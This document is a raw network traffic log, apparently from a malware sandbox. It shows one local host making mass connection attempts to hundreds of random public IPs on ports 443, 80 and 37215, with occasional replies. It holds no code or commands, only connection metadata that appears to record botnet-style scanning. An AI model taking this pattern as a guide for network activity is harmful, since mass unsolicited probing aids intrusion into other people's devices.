Jan 30, 2025 10:43:06.184968948 CET	61319	443	192.168.2.14	212.93.250.78
Jan 30, 2025 10:43:06.184968948 CET	61319	443	192.168.2.14	2.55.217.108
Jan 30, 2025 10:43:06.184968948 CET	61319	443	192.168.2.14	79.253.152.130
Jan 30, 2025 10:43:06.184969902 CET	61319	443	192.168.2.14	2.9.53.97
Jan 30, 2025 10:43:06.184971094 CET	61319	443	192.168.2.14	118.62.170.152
Jan 30, 2025 10:43:06.184972048 CET	61319	443	192.168.2.14	109.219.131.111
Jan 30, 2025 10:43:06.184972048 CET	61319	443	192.168.2.14	109.199.235.126
Jan 30, 2025 10:43:06.184973001 CET	61319	443	192.168.2.14	5.122.91.187
Jan 30, 2025 10:43:06.184972048 CET	61319	443	192.168.2.14	5.235.199.159
Jan 30, 2025 10:43:06.184973001 CET	61319	443	192.168.2.14	42.128.184.242
Jan 30, 2025 10:43:06.184973001 CET	61319	443	192.168.2.14	123.131.248.246
Jan 30, 2025 10:43:06.184973001 CET	61319	443	192.168.2.14	5.225.51.166
Jan 30, 2025 10:43:06.184979916 CET	61319	443	192.168.2.14	109.227.216.68
Jan 30, 2025 10:43:06.184979916 CET	61319	443	192.168.2.14	202.194.124.204
Jan 30, 2025 10:43:06.184979916 CET	61319	443	192.168.2.14	5.159.50.96
Jan 30, 2025 10:43:06.184983015 CET	61319	443	192.168.2.14	178.240.147.198
Jan 30, 2025 10:43:06.184983015 CET	61319	443	192.168.2.14	212.139.42.159
Jan 30, 2025 10:43:06.184984922 CET	61319	443	192.168.2.14	37.59.193.135
Jan 30, 2025 10:43:06.184984922 CET	61319	443	192.168.2.14	109.80.158.201
Jan 30, 2025 10:43:06.184984922 CET	61319	443	192.168.2.14	117.11.78.205
Jan 30, 2025 10:43:06.184994936 CET	61319	443	192.168.2.14	37.98.196.120
Jan 30, 2025 10:43:06.184995890 CET	61319	443	192.168.2.14	210.198.131.83
Jan 30, 2025 10:43:06.184995890 CET	61319	443	192.168.2.14	42.36.119.138
Jan 30, 2025 10:43:06.184995890 CET	61319	443	192.168.2.14	37.193.171.164
Jan 30, 2025 10:43:06.184995890 CET	61319	443	192.168.2.14	178.255.198.94
Jan 30, 2025 10:43:06.185000896 CET	61319	443	192.168.2.14	212.55.132.92
Jan 30, 2025 10:43:06.185000896 CET	61319	443	192.168.2.14	42.121.121.172
Jan 30, 2025 10:43:06.185003042 CET	61319	443	192.168.2.14	123.165.151.239
Jan 30, 2025 10:43:06.185005903 CET	61319	443	192.168.2.14	118.60.144.113
Jan 30, 2025 10:43:06.185020924 CET	61319	443	192.168.2.14	202.68.28.132
Jan 30, 2025 10:43:06.185025930 CET	61319	443	192.168.2.14	148.58.125.163
Jan 30, 2025 10:43:06.185026884 CET	61319	443	192.168.2.14	2.60.105.162
Jan 30, 2025 10:43:06.185040951 CET	61319	443	192.168.2.14	37.197.60.80
Jan 30, 2025 10:43:06.185043097 CET	61319	443	192.168.2.14	178.194.148.192
Jan 30, 2025 10:43:06.185051918 CET	61319	443	192.168.2.14	79.186.26.37
Jan 30, 2025 10:43:06.185055971 CET	61319	443	192.168.2.14	117.87.56.78
Jan 30, 2025 10:43:06.185074091 CET	61319	443	192.168.2.14	37.175.103.240
Jan 30, 2025 10:43:06.185075998 CET	61319	443	192.168.2.14	148.245.175.182
Jan 30, 2025 10:43:06.185075998 CET	61319	443	192.168.2.14	148.196.149.84
Jan 30, 2025 10:43:06.185076952 CET	61319	443	192.168.2.14	178.126.121.43
Jan 30, 2025 10:43:06.185077906 CET	61319	443	192.168.2.14	118.148.179.174
Jan 30, 2025 10:43:06.185086012 CET	61319	443	192.168.2.14	123.183.195.129
Jan 30, 2025 10:43:06.185086012 CET	61319	443	192.168.2.14	210.250.121.145
Jan 30, 2025 10:43:06.185098886 CET	61319	443	192.168.2.14	37.148.130.17
Jan 30, 2025 10:43:06.185106039 CET	61319	443	192.168.2.14	2.60.78.178
Jan 30, 2025 10:43:06.185113907 CET	61319	443	192.168.2.14	5.56.35.10
Jan 30, 2025 10:43:06.185121059 CET	61319	443	192.168.2.14	117.137.3.249
Jan 30, 2025 10:43:06.185121059 CET	61319	443	192.168.2.14	37.23.39.209
Jan 30, 2025 10:43:06.185134888 CET	61319	443	192.168.2.14	212.247.206.76
Jan 30, 2025 10:43:06.185138941 CET	61319	443	192.168.2.14	212.227.240.250
Jan 30, 2025 10:43:06.185151100 CET	61319	443	192.168.2.14	79.187.72.6
Jan 30, 2025 10:43:06.185152054 CET	61319	443	192.168.2.14	79.20.112.103
Jan 30, 2025 10:43:06.185154915 CET	61319	443	192.168.2.14	123.155.65.115
Jan 30, 2025 10:43:06.185161114 CET	61319	443	192.168.2.14	202.224.37.186
Jan 30, 2025 10:43:06.185163975 CET	61319	443	192.168.2.14	202.99.127.225
Jan 30, 2025 10:43:06.185173035 CET	61319	443	192.168.2.14	118.28.210.38
Jan 30, 2025 10:43:06.185178041 CET	61319	443	192.168.2.14	202.24.241.90
Jan 30, 2025 10:43:06.185179949 CET	61319	443	192.168.2.14	148.158.142.68
Jan 30, 2025 10:43:06.185187101 CET	61319	443	192.168.2.14	79.33.98.143
Jan 30, 2025 10:43:06.185197115 CET	61319	443	192.168.2.14	212.209.179.34
Jan 30, 2025 10:43:06.185203075 CET	61319	443	192.168.2.14	37.107.206.205
Jan 30, 2025 10:43:06.185204983 CET	61319	443	192.168.2.14	5.221.145.145
Jan 30, 2025 10:43:06.185213089 CET	61319	443	192.168.2.14	210.90.19.181
Jan 30, 2025 10:43:06.185218096 CET	61319	443	192.168.2.14	79.238.44.26
Jan 30, 2025 10:43:06.185226917 CET	61319	443	192.168.2.14	109.165.221.230
Jan 30, 2025 10:43:06.185233116 CET	61319	443	192.168.2.14	42.246.242.212
Jan 30, 2025 10:43:06.185239077 CET	61319	443	192.168.2.14	2.123.22.149
Jan 30, 2025 10:43:06.185245037 CET	61319	443	192.168.2.14	210.63.101.59
Jan 30, 2025 10:43:06.185250044 CET	61319	443	192.168.2.14	5.115.249.243
Jan 30, 2025 10:43:06.185261011 CET	61319	443	192.168.2.14	210.210.125.106
Jan 30, 2025 10:43:06.185261011 CET	61319	443	192.168.2.14	42.100.192.9
Jan 30, 2025 10:43:06.185261011 CET	61319	443	192.168.2.14	202.75.168.224
Jan 30, 2025 10:43:06.185273886 CET	61319	443	192.168.2.14	202.219.2.135
Jan 30, 2025 10:43:06.185281038 CET	61319	443	192.168.2.14	148.113.60.125
Jan 30, 2025 10:43:06.185287952 CET	61319	443	192.168.2.14	118.191.70.8
Jan 30, 2025 10:43:06.185288906 CET	61319	443	192.168.2.14	117.96.38.50
Jan 30, 2025 10:43:06.185298920 CET	61319	443	192.168.2.14	42.201.169.237
Jan 30, 2025 10:43:06.185308933 CET	61319	443	192.168.2.14	210.69.53.20
Jan 30, 2025 10:43:06.185311079 CET	61319	443	192.168.2.14	5.92.182.14
Jan 30, 2025 10:43:06.185323954 CET	61319	443	192.168.2.14	2.15.109.26
Jan 30, 2025 10:43:06.185331106 CET	61319	443	192.168.2.14	202.137.172.154
Jan 30, 2025 10:43:06.185333014 CET	61319	443	192.168.2.14	42.254.158.114
Jan 30, 2025 10:43:06.185343027 CET	61319	443	192.168.2.14	5.244.127.238
Jan 30, 2025 10:43:06.185344934 CET	61319	443	192.168.2.14	79.236.2.136
Jan 30, 2025 10:43:06.185349941 CET	61319	443	192.168.2.14	202.200.201.167
Jan 30, 2025 10:43:06.185364962 CET	61319	443	192.168.2.14	178.22.49.64
Jan 30, 2025 10:43:06.185364962 CET	61319	443	192.168.2.14	123.131.54.30
Jan 30, 2025 10:43:06.185375929 CET	61319	443	192.168.2.14	202.20.98.176
Jan 30, 2025 10:43:06.185376883 CET	61319	443	192.168.2.14	42.213.144.68
Jan 30, 2025 10:43:06.185383081 CET	61319	443	192.168.2.14	212.191.27.4
Jan 30, 2025 10:43:06.185398102 CET	61319	443	192.168.2.14	2.34.38.183
Jan 30, 2025 10:43:06.185399055 CET	61319	443	192.168.2.14	210.241.161.135
Jan 30, 2025 10:43:06.185403109 CET	61319	443	192.168.2.14	148.8.146.63
Jan 30, 2025 10:43:06.185403109 CET	61319	443	192.168.2.14	117.153.152.3
Jan 30, 2025 10:43:06.185411930 CET	61319	443	192.168.2.14	42.23.182.5
Jan 30, 2025 10:43:06.185420036 CET	61319	443	192.168.2.14	178.145.93.153
Jan 30, 2025 10:43:06.185420990 CET	61319	443	192.168.2.14	178.255.155.232
Jan 30, 2025 10:43:06.185439110 CET	61319	443	192.168.2.14	42.144.103.184
Jan 30, 2025 10:43:06.185442924 CET	61319	443	192.168.2.14	37.53.100.223
Jan 30, 2025 10:43:06.185445070 CET	61319	443	192.168.2.14	202.115.90.172
Jan 30, 2025 10:43:06.185451031 CET	61319	443	192.168.2.14	148.91.210.8
Jan 30, 2025 10:43:06.185455084 CET	61319	443	192.168.2.14	37.103.250.138
Jan 30, 2025 10:43:06.185467958 CET	61319	443	192.168.2.14	123.194.30.250
Jan 30, 2025 10:43:06.185477972 CET	61319	443	192.168.2.14	42.103.15.96
Jan 30, 2025 10:43:06.185480118 CET	61319	443	192.168.2.14	178.63.45.85
Jan 30, 2025 10:43:06.185480118 CET	61319	443	192.168.2.14	118.158.32.224
Jan 30, 2025 10:43:06.185494900 CET	61319	443	192.168.2.14	118.94.71.252
Jan 30, 2025 10:43:06.185494900 CET	61319	443	192.168.2.14	117.77.106.174
Jan 30, 2025 10:43:06.185502052 CET	61319	443	192.168.2.14	94.164.161.248
Jan 30, 2025 10:43:06.185503960 CET	61319	443	192.168.2.14	79.109.109.133
Jan 30, 2025 10:43:06.185518026 CET	61319	443	192.168.2.14	178.172.161.209
Jan 30, 2025 10:43:06.185520887 CET	61319	443	192.168.2.14	5.244.18.222
Jan 30, 2025 10:43:06.185528994 CET	61319	443	192.168.2.14	109.85.123.150
Jan 30, 2025 10:43:06.185542107 CET	61319	443	192.168.2.14	212.49.86.62
Jan 30, 2025 10:43:06.185544014 CET	61319	443	192.168.2.14	210.115.91.26
Jan 30, 2025 10:43:06.185549021 CET	61319	443	192.168.2.14	202.169.37.18
Jan 30, 2025 10:43:06.185553074 CET	61319	443	192.168.2.14	178.184.51.186
Jan 30, 2025 10:43:06.185553074 CET	61319	443	192.168.2.14	123.172.248.15
Jan 30, 2025 10:43:06.185554028 CET	61319	443	192.168.2.14	117.31.126.245
Jan 30, 2025 10:43:06.185553074 CET	61319	443	192.168.2.14	79.235.199.82
Jan 30, 2025 10:43:06.185561895 CET	61319	443	192.168.2.14	117.68.84.30
Jan 30, 2025 10:43:06.185576916 CET	61319	443	192.168.2.14	178.116.167.148
Jan 30, 2025 10:43:06.185576916 CET	61319	443	192.168.2.14	79.73.188.125
Jan 30, 2025 10:43:06.185580015 CET	61319	443	192.168.2.14	94.140.238.131
Jan 30, 2025 10:43:06.185589075 CET	61319	443	192.168.2.14	123.46.249.126
Jan 30, 2025 10:43:06.185589075 CET	61319	443	192.168.2.14	212.150.55.111
Jan 30, 2025 10:43:06.185589075 CET	61319	443	192.168.2.14	118.33.180.171
Jan 30, 2025 10:43:06.185599089 CET	61319	443	192.168.2.14	79.136.21.164
Jan 30, 2025 10:43:06.185602903 CET	61319	443	192.168.2.14	79.78.135.80
Jan 30, 2025 10:43:06.185605049 CET	61319	443	192.168.2.14	42.151.145.43
Jan 30, 2025 10:43:06.185605049 CET	61319	443	192.168.2.14	117.44.212.5
Jan 30, 2025 10:43:06.185640097 CET	61319	443	192.168.2.14	202.58.209.13
Jan 30, 2025 10:43:06.185640097 CET	61319	443	192.168.2.14	210.180.51.151
Jan 30, 2025 10:43:06.185642004 CET	61319	443	192.168.2.14	37.211.89.221
Jan 30, 2025 10:43:06.185645103 CET	61319	443	192.168.2.14	94.209.113.82
Jan 30, 2025 10:43:06.185646057 CET	61319	443	192.168.2.14	178.227.139.191
Jan 30, 2025 10:43:06.185648918 CET	61319	443	192.168.2.14	37.221.251.124
Jan 30, 2025 10:43:06.185648918 CET	61319	443	192.168.2.14	210.194.107.128
Jan 30, 2025 10:43:06.185664892 CET	61319	443	192.168.2.14	202.250.70.161
Jan 30, 2025 10:43:06.185667038 CET	61319	443	192.168.2.14	212.219.160.172
Jan 30, 2025 10:43:06.185666084 CET	61319	443	192.168.2.14	37.217.201.202
Jan 30, 2025 10:43:06.185667038 CET	61319	443	192.168.2.14	210.247.193.242
Jan 30, 2025 10:43:06.185667992 CET	61319	443	192.168.2.14	5.49.146.223
Jan 30, 2025 10:43:06.185667038 CET	61319	443	192.168.2.14	2.185.185.184
Jan 30, 2025 10:43:06.185669899 CET	61319	443	192.168.2.14	118.185.91.192
Jan 30, 2025 10:43:06.185669899 CET	61319	443	192.168.2.14	42.142.135.243
Jan 30, 2025 10:43:06.185667992 CET	61319	443	192.168.2.14	117.77.8.189
Jan 30, 2025 10:43:06.185676098 CET	61319	443	192.168.2.14	118.34.194.240
Jan 30, 2025 10:43:06.185678005 CET	61319	443	192.168.2.14	2.239.255.115
Jan 30, 2025 10:43:06.185678005 CET	61319	443	192.168.2.14	118.167.212.48
Jan 30, 2025 10:43:06.185679913 CET	61319	443	192.168.2.14	109.195.111.12
Jan 30, 2025 10:43:06.185682058 CET	61319	443	192.168.2.14	117.248.249.36
Jan 30, 2025 10:43:06.185679913 CET	61319	443	192.168.2.14	178.228.96.83
Jan 30, 2025 10:43:06.185678005 CET	61319	443	192.168.2.14	178.176.215.83
Jan 30, 2025 10:43:06.185684919 CET	61319	443	192.168.2.14	94.75.24.0
Jan 30, 2025 10:43:06.185686111 CET	61319	443	192.168.2.14	42.24.22.217
Jan 30, 2025 10:43:06.185678005 CET	61319	443	192.168.2.14	79.36.127.158
Jan 30, 2025 10:43:06.185678005 CET	61319	443	192.168.2.14	210.202.243.133
Jan 30, 2025 10:43:06.185678005 CET	61319	443	192.168.2.14	118.77.196.150
Jan 30, 2025 10:43:06.185702085 CET	61319	443	192.168.2.14	94.112.158.84
Jan 30, 2025 10:43:06.185705900 CET	61319	443	192.168.2.14	210.75.235.181
Jan 30, 2025 10:43:06.185709000 CET	61319	443	192.168.2.14	2.107.169.81
Jan 30, 2025 10:43:06.185718060 CET	61319	443	192.168.2.14	5.70.114.81
Jan 30, 2025 10:43:06.185718060 CET	61319	443	192.168.2.14	109.40.179.81
Jan 30, 2025 10:43:06.185722113 CET	61319	443	192.168.2.14	118.13.134.2
Jan 30, 2025 10:43:06.185724974 CET	61319	443	192.168.2.14	2.20.72.116
Jan 30, 2025 10:43:06.185738087 CET	61319	443	192.168.2.14	117.59.242.183
Jan 30, 2025 10:43:06.185745001 CET	61319	443	192.168.2.14	148.26.15.131
Jan 30, 2025 10:43:06.185750961 CET	61319	443	192.168.2.14	118.174.165.122
Jan 30, 2025 10:43:06.185750961 CET	61319	443	192.168.2.14	109.91.238.94
Jan 30, 2025 10:43:06.185750961 CET	61319	443	192.168.2.14	210.193.116.200
Jan 30, 2025 10:43:06.185750961 CET	61319	443	192.168.2.14	210.238.251.166
Jan 30, 2025 10:43:06.185750961 CET	61319	443	192.168.2.14	109.167.208.87
Jan 30, 2025 10:43:06.185751915 CET	61319	443	192.168.2.14	37.40.156.134
Jan 30, 2025 10:43:06.185762882 CET	61319	443	192.168.2.14	5.190.162.89
Jan 30, 2025 10:43:06.185772896 CET	61319	443	192.168.2.14	42.230.170.186
Jan 30, 2025 10:43:06.185772896 CET	61319	443	192.168.2.14	202.196.166.163
Jan 30, 2025 10:43:06.185776949 CET	61319	443	192.168.2.14	94.169.153.4
Jan 30, 2025 10:43:06.185795069 CET	61319	443	192.168.2.14	178.145.54.175
Jan 30, 2025 10:43:06.185796976 CET	61319	443	192.168.2.14	79.88.217.227
Jan 30, 2025 10:43:06.185798883 CET	61319	443	192.168.2.14	212.63.41.243
Jan 30, 2025 10:43:06.185808897 CET	61319	443	192.168.2.14	178.12.148.204
Jan 30, 2025 10:43:06.185816050 CET	61319	443	192.168.2.14	117.22.23.246
Jan 30, 2025 10:43:06.185818911 CET	61319	443	192.168.2.14	37.239.227.94
Jan 30, 2025 10:43:06.185830116 CET	61319	443	192.168.2.14	178.242.16.130
Jan 30, 2025 10:43:06.185832977 CET	61319	443	192.168.2.14	148.97.17.43
Jan 30, 2025 10:43:06.185846090 CET	61319	443	192.168.2.14	117.220.186.146
Jan 30, 2025 10:43:06.185846090 CET	61319	443	192.168.2.14	178.41.127.45
Jan 30, 2025 10:43:06.185846090 CET	61319	443	192.168.2.14	79.204.110.150
Jan 30, 2025 10:43:06.185863018 CET	61319	443	192.168.2.14	117.214.205.220
Jan 30, 2025 10:43:06.185863972 CET	61319	443	192.168.2.14	148.106.17.47
Jan 30, 2025 10:43:06.185868025 CET	61319	443	192.168.2.14	118.114.81.146
Jan 30, 2025 10:43:06.185868979 CET	61319	443	192.168.2.14	79.61.48.57
Jan 30, 2025 10:43:06.185869932 CET	61319	443	192.168.2.14	212.0.14.231
Jan 30, 2025 10:43:06.185880899 CET	61319	443	192.168.2.14	42.170.96.93
Jan 30, 2025 10:43:06.185890913 CET	61319	443	192.168.2.14	117.214.65.165
Jan 30, 2025 10:43:06.185892105 CET	61319	443	192.168.2.14	212.81.18.60
Jan 30, 2025 10:43:06.185902119 CET	61319	443	192.168.2.14	178.70.150.97
Jan 30, 2025 10:43:06.185908079 CET	61319	443	192.168.2.14	109.7.83.77
Jan 30, 2025 10:43:06.185921907 CET	61319	443	192.168.2.14	5.124.130.16
Jan 30, 2025 10:43:06.185924053 CET	61319	443	192.168.2.14	5.241.7.60
Jan 30, 2025 10:43:06.185929060 CET	61319	443	192.168.2.14	94.116.102.78
Jan 30, 2025 10:43:06.185941935 CET	61319	443	192.168.2.14	212.61.155.74
Jan 30, 2025 10:43:06.185949087 CET	61319	443	192.168.2.14	117.41.141.28
Jan 30, 2025 10:43:06.185961008 CET	61319	443	192.168.2.14	2.212.93.45
Jan 30, 2025 10:43:06.185962915 CET	61319	443	192.168.2.14	117.137.10.16
Jan 30, 2025 10:43:06.185962915 CET	61319	443	192.168.2.14	118.142.180.170
Jan 30, 2025 10:43:06.185966015 CET	61319	443	192.168.2.14	210.18.182.215
Jan 30, 2025 10:43:06.187082052 CET	41678	37215	192.168.2.14	41.54.187.227
Jan 30, 2025 10:43:06.187083006 CET	45430	37215	192.168.2.14	197.251.136.165
Jan 30, 2025 10:43:06.187087059 CET	46784	37215	192.168.2.14	41.13.157.95
Jan 30, 2025 10:43:06.187088013 CET	48972	37215	192.168.2.14	197.198.112.4
Jan 30, 2025 10:43:06.187089920 CET	48526	37215	192.168.2.14	156.231.189.227
Jan 30, 2025 10:43:06.187097073 CET	37838	37215	192.168.2.14	156.114.126.218
Jan 30, 2025 10:43:06.187104940 CET	54354	37215	192.168.2.14	156.109.224.118
Jan 30, 2025 10:43:06.187109947 CET	60092	37215	192.168.2.14	41.4.251.105
Jan 30, 2025 10:43:06.187114954 CET	33538	37215	192.168.2.14	197.131.146.76
Jan 30, 2025 10:43:06.187118053 CET	46882	37215	192.168.2.14	197.110.51.134
Jan 30, 2025 10:43:06.187118053 CET	47392	37215	192.168.2.14	156.62.186.243
Jan 30, 2025 10:43:06.187119007 CET	34752	37215	192.168.2.14	41.222.7.4
Jan 30, 2025 10:43:06.187119007 CET	53646	37215	192.168.2.14	197.218.48.207
Jan 30, 2025 10:43:06.187128067 CET	55852	37215	192.168.2.14	41.92.78.36
Jan 30, 2025 10:43:06.187131882 CET	41680	37215	192.168.2.14	156.188.76.253
Jan 30, 2025 10:43:06.187138081 CET	46698	37215	192.168.2.14	197.146.199.69
Jan 30, 2025 10:43:06.187145948 CET	51650	37215	192.168.2.14	41.9.104.66
Jan 30, 2025 10:43:06.187144995 CET	35386	37215	192.168.2.14	41.170.243.221
Jan 30, 2025 10:43:06.187150002 CET	60346	37215	192.168.2.14	41.145.140.95
Jan 30, 2025 10:43:06.187158108 CET	56894	37215	192.168.2.14	156.205.76.137
Jan 30, 2025 10:43:06.187158108 CET	46568	37215	192.168.2.14	156.101.143.7
Jan 30, 2025 10:43:06.187158108 CET	60046	37215	192.168.2.14	156.49.160.210
Jan 30, 2025 10:43:06.187160015 CET	57118	37215	192.168.2.14	156.176.204.203
Jan 30, 2025 10:43:06.187160015 CET	54352	37215	192.168.2.14	197.85.230.163
Jan 30, 2025 10:43:06.187160015 CET	55174	37215	192.168.2.14	197.166.29.215
Jan 30, 2025 10:43:06.187164068 CET	50340	37215	192.168.2.14	197.222.57.125
Jan 30, 2025 10:43:06.187165022 CET	60522	37215	192.168.2.14	156.168.206.187
Jan 30, 2025 10:43:06.187167883 CET	59278	37215	192.168.2.14	197.255.24.121
Jan 30, 2025 10:43:06.187170982 CET	58598	37215	192.168.2.14	197.246.177.244
Jan 30, 2025 10:43:06.187171936 CET	44984	37215	192.168.2.14	41.34.203.247
Jan 30, 2025 10:43:06.187171936 CET	55398	37215	192.168.2.14	197.112.143.30
Jan 30, 2025 10:43:06.187179089 CET	42168	37215	192.168.2.14	41.114.15.245
Jan 30, 2025 10:43:06.187186956 CET	42498	37215	192.168.2.14	41.239.226.175
Jan 30, 2025 10:43:06.187186956 CET	52016	37215	192.168.2.14	156.1.171.213
Jan 30, 2025 10:43:06.187187910 CET	39440	37215	192.168.2.14	156.140.48.212
Jan 30, 2025 10:43:06.208625078 CET	37215	36912	41.158.143.19	192.168.2.14
Jan 30, 2025 10:43:06.208636045 CET	37215	52392	197.182.19.162	192.168.2.14
Jan 30, 2025 10:43:06.219203949 CET	52606	37215	192.168.2.14	156.107.19.155
Jan 30, 2025 10:43:06.219203949 CET	34772	37215	192.168.2.14	156.134.211.68
Jan 30, 2025 10:43:06.219203949 CET	46706	37215	192.168.2.14	197.24.241.187
Jan 30, 2025 10:43:06.219203949 CET	37950	37215	192.168.2.14	197.187.252.60
Jan 30, 2025 10:43:06.219213009 CET	45312	37215	192.168.2.14	197.29.87.86
Jan 30, 2025 10:43:06.219214916 CET	43108	37215	192.168.2.14	197.2.254.23
Jan 30, 2025 10:43:06.219214916 CET	33860	37215	192.168.2.14	197.25.18.252
Jan 30, 2025 10:43:06.219214916 CET	56174	37215	192.168.2.14	197.52.214.98
Jan 30, 2025 10:43:06.219214916 CET	41200	37215	192.168.2.14	156.12.1.123
Jan 30, 2025 10:43:06.219217062 CET	49486	37215	192.168.2.14	156.71.177.132
Jan 30, 2025 10:43:06.219214916 CET	37566	37215	192.168.2.14	156.242.29.176
Jan 30, 2025 10:43:06.219222069 CET	35458	37215	192.168.2.14	156.84.109.79
Jan 30, 2025 10:43:06.219223976 CET	39254	37215	192.168.2.14	197.228.116.148
Jan 30, 2025 10:43:06.219222069 CET	58548	37215	192.168.2.14	41.0.140.63
Jan 30, 2025 10:43:06.219223976 CET	45750	37215	192.168.2.14	197.62.59.49
Jan 30, 2025 10:43:06.219238997 CET	43380	37215	192.168.2.14	156.223.162.115
Jan 30, 2025 10:43:06.219223976 CET	60020	37215	192.168.2.14	41.63.44.18
Jan 30, 2025 10:43:06.219238997 CET	54326	37215	192.168.2.14	41.255.177.91
Jan 30, 2025 10:43:06.219223976 CET	48272	37215	192.168.2.14	156.42.154.143
Jan 30, 2025 10:43:06.219238997 CET	34032	37215	192.168.2.14	156.198.242.132
Jan 30, 2025 10:43:06.219242096 CET	55274	37215	192.168.2.14	41.88.128.241
Jan 30, 2025 10:43:06.219240904 CET	51466	37215	192.168.2.14	197.30.16.70
Jan 30, 2025 10:43:06.219242096 CET	57950	37215	192.168.2.14	197.99.4.5
Jan 30, 2025 10:43:06.219223976 CET	34806	37215	192.168.2.14	197.63.122.128
Jan 30, 2025 10:43:06.219242096 CET	51316	37215	192.168.2.14	41.176.2.6
Jan 30, 2025 10:43:06.219244003 CET	60966	37215	192.168.2.14	197.171.42.12
Jan 30, 2025 10:43:06.219244957 CET	48616	37215	192.168.2.14	41.228.190.247
Jan 30, 2025 10:43:06.219244003 CET	43994	37215	192.168.2.14	41.116.235.188
Jan 30, 2025 10:43:06.219244957 CET	38812	37215	192.168.2.14	156.239.200.141
Jan 30, 2025 10:43:06.219244957 CET	57124	37215	192.168.2.14	197.132.120.210
Jan 30, 2025 10:43:06.219257116 CET	47564	37215	192.168.2.14	156.95.110.178
Jan 30, 2025 10:43:06.224041939 CET	37215	52606	156.107.19.155	192.168.2.14
Jan 30, 2025 10:43:06.224052906 CET	37215	34772	156.134.211.68	192.168.2.14
Jan 30, 2025 10:43:06.224061966 CET	37215	46706	197.24.241.187	192.168.2.14
Jan 30, 2025 10:43:06.224096060 CET	52606	37215	192.168.2.14	156.107.19.155
Jan 30, 2025 10:43:06.224096060 CET	34772	37215	192.168.2.14	156.134.211.68
Jan 30, 2025 10:43:06.224096060 CET	46706	37215	192.168.2.14	197.24.241.187
Jan 30, 2025 10:43:06.224205971 CET	46706	37215	192.168.2.14	197.24.241.187
Jan 30, 2025 10:43:06.224205971 CET	46706	37215	192.168.2.14	197.24.241.187
Jan 30, 2025 10:43:06.224524021 CET	46774	37215	192.168.2.14	197.24.241.187
Jan 30, 2025 10:43:06.224862099 CET	34772	37215	192.168.2.14	156.134.211.68
Jan 30, 2025 10:43:06.224873066 CET	34772	37215	192.168.2.14	156.134.211.68
Jan 30, 2025 10:43:06.225127935 CET	34840	37215	192.168.2.14	156.134.211.68
Jan 30, 2025 10:43:06.225472927 CET	52606	37215	192.168.2.14	156.107.19.155
Jan 30, 2025 10:43:06.225472927 CET	52606	37215	192.168.2.14	156.107.19.155
Jan 30, 2025 10:43:06.225739956 CET	52674	37215	192.168.2.14	156.107.19.155
Jan 30, 2025 10:43:06.229047060 CET	37215	46706	197.24.241.187	192.168.2.14
Jan 30, 2025 10:43:06.229281902 CET	37215	46774	197.24.241.187	192.168.2.14
Jan 30, 2025 10:43:06.229331970 CET	46774	37215	192.168.2.14	197.24.241.187
Jan 30, 2025 10:43:06.229346991 CET	46774	37215	192.168.2.14	197.24.241.187
Jan 30, 2025 10:43:06.229669094 CET	37215	34772	156.134.211.68	192.168.2.14
Jan 30, 2025 10:43:06.230232954 CET	37215	52606	156.107.19.155	192.168.2.14
Jan 30, 2025 10:43:06.234441996 CET	37215	46774	197.24.241.187	192.168.2.14
Jan 30, 2025 10:43:06.234525919 CET	46774	37215	192.168.2.14	197.24.241.187
Jan 30, 2025 10:43:06.275733948 CET	37215	52606	156.107.19.155	192.168.2.14
Jan 30, 2025 10:43:06.275778055 CET	37215	34772	156.134.211.68	192.168.2.14
Jan 30, 2025 10:43:06.275789022 CET	37215	46706	197.24.241.187	192.168.2.14
Jan 30, 2025 10:43:06.489459038 CET	62855	80	192.168.2.14	51.121.157.167
Jan 30, 2025 10:43:06.489459038 CET	62855	80	192.168.2.14	97.108.248.57
Jan 30, 2025 10:43:06.489487886 CET	62855	80	192.168.2.14	68.138.249.105
Jan 30, 2025 10:43:06.489487886 CET	62855	80	192.168.2.14	106.111.211.33
Jan 30, 2025 10:43:06.489487886 CET	62855	80	192.168.2.14	99.52.36.64
Jan 30, 2025 10:43:06.489487886 CET	62855	80	192.168.2.14	63.123.128.167
Jan 30, 2025 10:43:06.489487886 CET	62855	80	192.168.2.14	74.171.106.18
Jan 30, 2025 10:43:06.489494085 CET	62855	80	192.168.2.14	86.228.157.254
Jan 30, 2025 10:43:06.489494085 CET	62855	80	192.168.2.14	104.234.182.98
Jan 30, 2025 10:43:06.489495993 CET	62855	80	192.168.2.14	176.169.106.94
Jan 30, 2025 10:43:06.489495039 CET	62855	80	192.168.2.14	25.106.63.88
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	111.171.81.116
Jan 30, 2025 10:43:06.489495039 CET	62855	80	192.168.2.14	69.220.86.47
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	145.226.147.93
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	213.166.156.152
Jan 30, 2025 10:43:06.489495993 CET	62855	80	192.168.2.14	113.2.250.15
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	156.231.50.4
Jan 30, 2025 10:43:06.489495993 CET	62855	80	192.168.2.14	131.125.12.195
Jan 30, 2025 10:43:06.489500046 CET	62855	80	192.168.2.14	46.194.105.28
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	87.87.30.91
Jan 30, 2025 10:43:06.489501953 CET	62855	80	192.168.2.14	181.254.228.55
Jan 30, 2025 10:43:06.489500046 CET	62855	80	192.168.2.14	82.95.255.220
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	211.181.81.71
Jan 30, 2025 10:43:06.489500046 CET	62855	80	192.168.2.14	135.136.191.113
Jan 30, 2025 10:43:06.489501953 CET	62855	80	192.168.2.14	8.70.103.48
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	44.11.64.44
Jan 30, 2025 10:43:06.489500046 CET	62855	80	192.168.2.14	118.14.191.105
Jan 30, 2025 10:43:06.489501953 CET	62855	80	192.168.2.14	74.65.89.123
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	118.124.216.1
Jan 30, 2025 10:43:06.489501953 CET	62855	80	192.168.2.14	148.169.47.195
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	164.143.145.33
Jan 30, 2025 10:43:06.489501953 CET	62855	80	192.168.2.14	141.251.162.122
Jan 30, 2025 10:43:06.489495993 CET	62855	80	192.168.2.14	67.162.169.69
Jan 30, 2025 10:43:06.489500046 CET	62855	80	192.168.2.14	122.13.196.224
Jan 30, 2025 10:43:06.489495993 CET	62855	80	192.168.2.14	159.173.59.75
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	148.116.103.247
